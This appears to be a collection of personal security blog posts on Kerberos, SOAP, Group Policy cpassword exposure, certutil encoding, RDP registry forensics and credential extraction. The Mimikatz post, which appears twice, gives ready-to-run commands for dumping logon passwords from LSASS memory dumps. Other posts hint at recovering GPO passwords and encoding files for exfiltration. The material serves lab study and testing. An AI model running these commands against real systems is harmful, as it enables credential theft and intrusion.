Kerberos Working

Kerberos Understanding


Kerberos is a network authentication protocol. It is designed to provide strong authentication for client/server applications by using secret-key cryptography. A free implementation of this protocol is available from the Massachusetts Institute of Technology

1. Kerberos protocol has 3 key components -
   - Client  [ Users / Applications ]
   - Services
   - Key Distribution Centre (KDC)
2. Key Distribution Centre (KDC) key components -
   - Ticket Granting Service (TGS)
   - KDC Database
   - Authentication Service
   
   Note :  Users/Applications/Services also known as principle             Set of principle is called "realm"
3. Keys Used in Kerberos Authentication :
   - Secret Keys     :  These keys are shared between KDC and Principle
   - Session Keys   :  These keys are shared between client and services i.e. principles

Overall Workflow - Client needs to access email service

• Kerberos is single sign on technology
• In Kerberos, client sends username to KDC
• KDC in turn search for user in KDC database
• If user found in KDC database, TGS creates a ticket with limited period of time and sent to client along with session key.
• Now, if client wants to access email server, then it will create "Authenticator" message containing - Client name, IP Address, Time and encrypt it with session key (S1) provided by KDC
• Client then sends this TGT + Authenticator encrypted with session key + Service that needs to be access (Mail service) and send it to KDC
• KDC decrypts message, post confirmation KDC creates a "Service Ticket" and encrypts it with Service key.
• Service ticket along with new session key (S2) is encrypted with (S1) and send it to client.
• Client now has service ticket, however it cant be decrypted as it doesn't have service key.
• Client encrypts authenticator with new session key (S2) and send it to Service (Email Service)
• Once service receives message, it can decrypt the message with Service key and confirm the identity.
• Client can have communication with service!

Kerberos Key Components

Kerberos Overall Flow - Client wants to access email service

Below are some of the best links I came across for understanding Kerberos :
Link 1
Link 2
Link 3 ( Blackhat )

Potential weaknesses in Kerberos :

1. KDC can be single point of failure
2. Secret keys are stored temporarily on users workstations 
3. Session keys either reside in cache or in key table 
4. Kerberos is vulnerable to password guessing - KDC doesn't have any mechanism to detect bruteforce attempts.
5. Network traffic is not protected if encryption is not enabled
6. Too short keys - vulnerable to bruteforce
7. Kerberos needs all client and server clock to be synchronised

Hope this helps! Thanks for visiting!

SOAP (Simple Object Access Protocol ) - Understanding

SOAP - Simple Object Access Protocol

1. Consider a scenario where Application A needs to communicate with Application B
2. Application A needs to get status of credit card from Application B
3. In this case, web service will be created on application B
4. Irrespective of underlying technology, Application A will be able to send SOAP requests containing (Credit card no.) to Application B web service.
5. Application B web service will process request and generate SOAP response which will be sent to Application A

Refer below diagram :

Below are actual SOAP request and response calls captured in Burpsuite :

SOAP - Youtube Video

Group Policy Misconfiguration - Encrypted password (cpassword)

I was simulating in my active directory test environment on group policy misconfiguration issue and hence posting it here for reference.

If local admin users are pushed via GPO, Domain logged in users can just search for "Group.XML" or ".XML" file on their local system.

This files contains AES encrypted password, and fortunately Microsoft has published AES keys used to encrypt this password here

Push "localadmin" user via GPO - It's damn simple, just have to add user in Group Policy Management Editor > Computer Configuration > Preferences > Local User and Groups

Once you create localadmin user via GPO, it shows this alert - Password is discoverable

Once user is created, you can go to any workstation in your domain and just connect to domain controller via \\IP  and search for .XML file.

We can clearly see encrypted password in file Groups.XML file.

I suppose, solution for this is pretty simple, you just have to remove user from control panel on domain controller.

Extracting password for "localadmin" using powershell script

You can find the script here

I know its pretty simple to execute, but all I wanted to check is actual AD configuration!

Thanks.

Certutil - Base64 encode/decode

Simple utility included comes inbuilt in Microsoft windows : certutil.exe

Link : https://technet.microsoft.com/en-us/library/cc732443(v=ws.11).aspx

Very useful if you want to quickly convert file into base64 encoding format, and probably exfiltrate later ;)

Encoding .PNG file in base64 

Decoding base64 file

RDP Access Timestamp - Registry Forensics

How do we know if System "A" connected to other systems using Remote Desktop in past?

We can retrieve IP addresses with which RDP connections were established in past along with last time stamp.


You can find all machines where RDP was done under below key :

"HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers"

You can see all IP addresses along with DOMAIN/USERNAME used to connect to system via RDP

If you want to retrieve date and timestamp of last modification of these registry keys - (Which in turn indicates when RDP connection was established with system) then,

Export registry key as a ".txt" file and you will be able to see "Last Write Time" which is not the case if you export the key as ".reg" - That's the trick!

Retrieve Passwords from LSASS via Powersploit Invoke-Mimikatz

Came across a scenario where, was able to run powersploit on one of the machine (HOST) with antivirus.

However, wanted to crack passwords for other systems!!!

Simply get LSASS dump from other machines - Not a malicious activity!
Copy all those LSASS dump files on (HOST) and using powersploit -Command argument retrieve passwords from LSASS dump.

Executing powersploit - Invoke-Mimikatz tool to retrieve passwords from LSASS dump file.


Commands Quick Reference :

1. Get-ExecutionPolicy
2. Set-ExecutionPolicy Unrestricted
3. Import-Module.\powersploit.psm1
4. Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords"'   

Good references :
https://github.com/PowerShellMafia/PowerSploit
https://adsecurity.org/?page_id=1821
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
https://www.sans.org/reading-room/whitepapers/forensics/mimikatz-overview-defenses-detection-36780

Retrieve Passwords from LSASS via Powersploit Invoke-Mimikatz

Came across a scenario where, was able to run powersploit on one of the machine (HOST) with antivirus.

However, wanted to crack passwords for other systems!!!

Simply get LSASS dump from other machines - Not a malicious activity!
Copy all those LSASS dump files on (HOST) and using powersploit -Command argument retrieve passwords from LSASS dump.

Executing powersploit - Invoke-Mimikatz tool to retrieve passwords from LSASS dump file.


Commands Quick Reference :

1. Get-ExecutionPolicy
2. Set-ExecutionPolicy Unrestricted
3. Import-Module.\powersploit.psm1
4. Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords"'   

Good references :
https://github.com/PowerShellMafia/PowerSploit
https://adsecurity.org/?page_id=1821
https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1
https://www.sans.org/reading-room/whitepapers/forensics/mimikatz-overview-defenses-detection-36780